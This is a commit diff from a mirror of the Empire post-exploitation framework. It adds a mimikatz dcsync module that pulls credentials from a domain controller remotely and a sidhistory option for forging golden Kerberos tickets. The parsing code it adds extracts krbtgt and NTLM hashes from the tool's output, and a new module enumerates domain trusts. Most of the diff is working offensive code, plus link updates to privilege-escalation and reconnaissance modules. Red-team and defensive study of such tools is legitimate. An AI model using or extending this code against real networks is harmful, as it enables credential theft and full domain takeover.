infosecn1nja
/
Empire
mirror of https://github.com/infosecn1nja/Empire.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Added credentials/mimikatz/dcsync for remote DC credential extraction 

Added situational_awareness/network/get_domaintrusts
Added /sids argument for credentials/mimikatz/golden_ticket
Added credential parsing for dcsync output
updated links for PowerTools
1.6
Harmj0y 2015-08-24 17:33:35 -04:00
parent cf935db0ae
commit b2cca2f3fd
23 changed files with 160 additions and 40 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
changelog
View File

@ -1,3 +1,11 @@
8/24/2015
---------
-Added credentials/mimikatz/dcsync for remote DC credential extraction
-Added situational_awareness/network/get_domaintrusts
-Added /sids argument for credentials/mimikatz/golden_ticket
-Added credential parsing for dcsync output
-updated links for PowerTools
8/20/2015
---------
-Continued porting native shell commands to WMI replacents in agent core

66
lib/common/helpers.py
View File

@ -271,32 +271,56 @@ def parse_mimikatz(data):
if not (credType == "plaintext" and username.endswith("$")):
creds.append((credType, domain, username, password, hostName, sid))
# check if we have lsadump output to check for krbtgt
# happens on domain controller hashdumps
for x in xrange(8,13):
if lines[x].startswith("Domain :"):
if len(creds) == 0:
# check if we have lsadump output to check for krbtgt
# happens on domain controller hashdumps
for x in xrange(8,13):
if lines[x].startswith("Domain :"):
domain, sid, krbtgtHash = "", "", ""
domain, sid, krbtgtHash = "", "", ""
try:
domainParts = lines[x].split(":")[1]
domain = domainParts.split("/")[0].strip()
sid = domainParts.split("/")[1].strip()
try:
domainParts = lines[x].split(":")[1]
domain = domainParts.split("/")[0].strip()
sid = domainParts.split("/")[1].strip()
# substitute the FQDN in if it matches
if hostDomain.startswith(domain.lower()):
domain = hostDomain
sid = domainSid
# substitute the FQDN in if it matches
if hostDomain.startswith(domain.lower()):
domain = hostDomain
sid = domainSid
for x in xrange(0, len(lines)):
if lines[x].startswith("User : krbtgt"):
krbtgtHash = lines[x+2].split(":")[1].strip()
break
for x in xrange(0, len(lines)):
if lines[x].startswith("User : krbtgt"):
krbtgtHash = lines[x+2].split(":")[1].strip()
break
if krbtgtHash != "":
creds.append(("hash", domain, "krbtgt", krbtgtHash, hostName, sid))
except Exception as e:
pass
if krbtgtHash != "":
creds.append(("hash", domain, "krbtgt", krbtgtHash, hostName, sid))
except Exception as e:
pass
if len(creds) == 0:
# check if we get lsadump::dcsync output
if '** SAM ACCOUNT **' in lines:
domain, user, userHash, dcName, sid = "", "", "", "", ""
for line in lines:
try:
if line.strip().endswith("will be the domain"):
domain = line.split("'")[1]
elif line.strip().endswith("will be the DC server"):
dcName = line.split("'")[1].split(".")[0]
elif line.strip().startswith("SAM Username"):
user = line.split(":")[1].strip()
elif line.strip().startswith("Object Security ID"):
parts = line.split(":")[1].strip().split("-")
sid = "-".join(parts[0:-1])
elif line.strip().startswith("Hash NTLM:"):
userHash = line.split(":")[1].strip()
except:
pass
if domain != "" and userHash != "":
creds.append(("hash", domain, user, userHash, dcName, sid))
return uniquify_tuples(creds)

2
lib/modules/collection/filefinder.py
View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/blob/master/PowerView/powerview.ps1'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

2
lib/modules/collection/filesearch.py
View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/blob/master/PowerView/powerview.ps1'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

2
lib/modules/credentials/mimikatz/dcsync.py
View File

@ -19,7 +19,7 @@ class Module:
'OutputExtension' : None,
'NeedsAdmin' : True,
'NeedsAdmin' : False,
'OpsecSafe' : True,

5
lib/modules/credentials/mimikatz/golden_ticket.py
View File

@ -58,6 +58,11 @@ class Module:
'Required' : False,
'Value' : ''
},
'sids' : {
'Description' : 'External SIDs to add as sidhistory to the ticket.',
'Required' : False,
'Value' : ''
},
'id' : {
'Description' : 'id to impersonate, defaults to 500.',
'Required' : False,

2
lib/modules/privesc/powerup/allchecks.py
View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
]
}

2
lib/modules/privesc/powerup/find_dllhijack.py
View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
]
}

2
lib/modules/privesc/powerup/service_exe_stager.py
View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
]
}

2
lib/modules/privesc/powerup/service_exe_useradd.py
View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
]
}

2
lib/modules/privesc/powerup/service_stager.py
View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
]
}

2
lib/modules/privesc/powerup/service_useradd.py
View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
]
}

2
lib/modules/privesc/powerup/write_dllhijacker.py
View File

@ -25,7 +25,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerUp'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp'
]
}

2
lib/modules/situational_awareness/network/find_localadmin_access.py
View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

2
lib/modules/situational_awareness/network/get_computer.py
View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

2
lib/modules/situational_awareness/network/get_domaincontroller.py
View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

83
lib/modules/situational_awareness/network/get_domaintrusts.py Normal file
View File

@ -0,0 +1,83 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Get-NetDomainTrusts',
'Author': ['@harmj0y'],
'Description': ('Return all domain trusts for the current domain or '
'a specified domain. Part of PowerView.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : True,
'MinPSVersion' : '2',
'Comments': [
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}
# any options needed by the module, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Agent' : {
'Description' : 'Agent to run module on.',
'Required' : True,
'Value' : ''
},
'Domain' : {
'Description' : 'Specific domain to query for trusts, defaults to current.',
'Required' : False,
'Value' : ''
},
'LDAP' : {
'Description' : 'Switch. Use LDAP for domain queries (less accurate).',
'Required' : False,
'Value' : ''
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# read in the common module source code
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-MapDomainTrusts.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
if self.options['LDAP']['Value'].lower() == "true":
script += "Get-NetDomainTrustsLDAP | Out-String | %{$_ + \"`n\"};"
else:
script += "Get-NetDomainTrusts | Out-String | %{$_ + \"`n\"};"
return script

2
lib/modules/situational_awareness/network/get_user.py
View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

2
lib/modules/situational_awareness/network/mapdomaintrusts.py
View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

2
lib/modules/situational_awareness/network/netview.py
View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView',
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView',
'https://github.com/mubix/netview'
]
}

2
lib/modules/situational_awareness/network/sharefinder.py
View File

@ -22,7 +22,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

2
lib/modules/situational_awareness/network/stealth_userhunter.py
View File

@ -24,7 +24,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}

2
lib/modules/situational_awareness/network/userhunter.py
View File

@ -23,7 +23,7 @@ class Module:
'MinPSVersion' : '2',
'Comments': [
'https://github.com/Veil-Framework/PowerTools/tree/master/PowerView'
'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView'
]
}